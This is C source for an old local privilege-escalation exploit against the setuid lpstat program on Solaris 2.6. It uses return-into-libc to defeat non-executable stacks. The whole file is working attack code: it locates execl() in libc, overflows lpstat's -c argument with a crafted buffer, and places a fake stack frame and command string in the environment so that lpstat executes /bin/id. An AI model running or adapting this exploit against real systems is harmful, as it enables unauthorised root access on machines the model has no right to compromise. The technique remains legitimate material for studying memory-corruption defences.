/*
   lpstat exploit for Solaris 2.6 - horizon - <jmcdonal@unf.edu>

   This demonstrates the return into libc technique for bypassing stack
   execution protection. This requires some preliminary knowledge for use.

   to compile:

   gcc lpstatex.c -o lpstatex -lprint -lc -lnsl -lsocket -ldl -lxfn -lmp -lC
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/systeminfo.h>
#include <unistd.h>
#include <dlfcn.h>

#define BUF_LENGTH 1024

int main(int argc, char *argv[])
{
   char buf[BUF_LENGTH * 2];
   char teststring[BUF_LENGTH * 2];
   char *env[10];
   char fakeframe[512];
   char padding[64];
   char platform[256];

   void *handle;
   long execl_addr;

   u_char *char_p;
   u_long *long_p;
   int i;
   int pad=31;

   if (argc==2) pad+=atoi(argv[1]);

   if (!(handle=dlopen(NULL,RTLD_LAZY)))
   {
      fprintf(stderr,"Can't dlopen myself.\n");
      exit(1);
   }

   if ((execl_addr=(long)dlsym(handle,"execl"))==NULL)
   {
      fprintf(stderr,"Can't find execl().\n");
      exit(1);
   }

   execl_addr-=4;

   if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) ||
      !(execl_addr & 0xff0000) || !(execl_addr & 0xff000000))
   {
      fprintf(stderr,"the address of execl() contains a '0'. sorry.\n");
      exit(1);
   }

   printf("found execl() at %lx\n",execl_addr);

   char_p=buf;

   memset(char_p,'A',BUF_LENGTH);

   long_p=(unsigned long *) (char_p+1024);

   *long_p++=0xdeadbeef;

   /* Here is the saved %i0-%i7 */

   *long_p++=0xdeadbeef;
   *long_p++=0xdeadbeef;
   *long_p++=0xdeadbeef;
   *long_p++=0xdeadbeef;
   *long_p++=0xdeadbeef;
   *long_p++=0xdeadbeef;
   *long_p++=0xeffffb68; // our fake stack frame
   *long_p++=execl_addr;      // we return into execl() in libc
   *long_p++=0;

   /* now we set up our fake stack frame in env */

   long_p=(long *)fakeframe;

   *long_p++=0xdeadbeef; // we don't care about locals
   *long_p++=0xdeadbeef;
   *long_p++=0xdeadbeef;
   *long_p++=0xdeadbeef;
   *long_p++=0xdeadbeef;
   *long_p++=0xdeadbeef;
   *long_p++=0xdeadbeef;
   *long_p++=0xdeadbeef;

   *long_p++=0xefffffac; // points to our string to exec
   *long_p++=0xefffffac; // argv[1] is a copy of argv[0]
   *long_p++=0x0;        // NULL for execl();
   *long_p++=0xefffffcc;
   *long_p++=0xeffffd18;
   *long_p++=0xeffffd18;
   *long_p++=0xeffffd18; // this just has to be somewhere it can work with
   *long_p++=0x11111111; // doesn't matter b/c we exec
   *long_p++=0x0;

   /* This gives us some padding to play with */

   memset(teststring,'A',BUF_LENGTH);
   teststring[BUF_LENGTH]=0;

   sysinfo(SI_PLATFORM,platform,256);

   pad+=20-strlen(platform);

   for (i=0;i<pad;padding[i++]='C')
      padding[i]=0;

   env[0]="";
   env[1]=(fakeframe);
   env[2]=&(fakeframe[40]);
   env[3]=&(fakeframe[40]);
   env[4]=&(fakeframe[40]);
   env[5]=&(fakeframe[44]);
   env[6]=teststring;
   env[7]="A=/bin/id";
   env[8]=padding;
   env[9]=NULL;

   execle("/usr/bin/lpstat","lpstat","-c",buf,(char *)0,env);
   perror("execle failed");
}
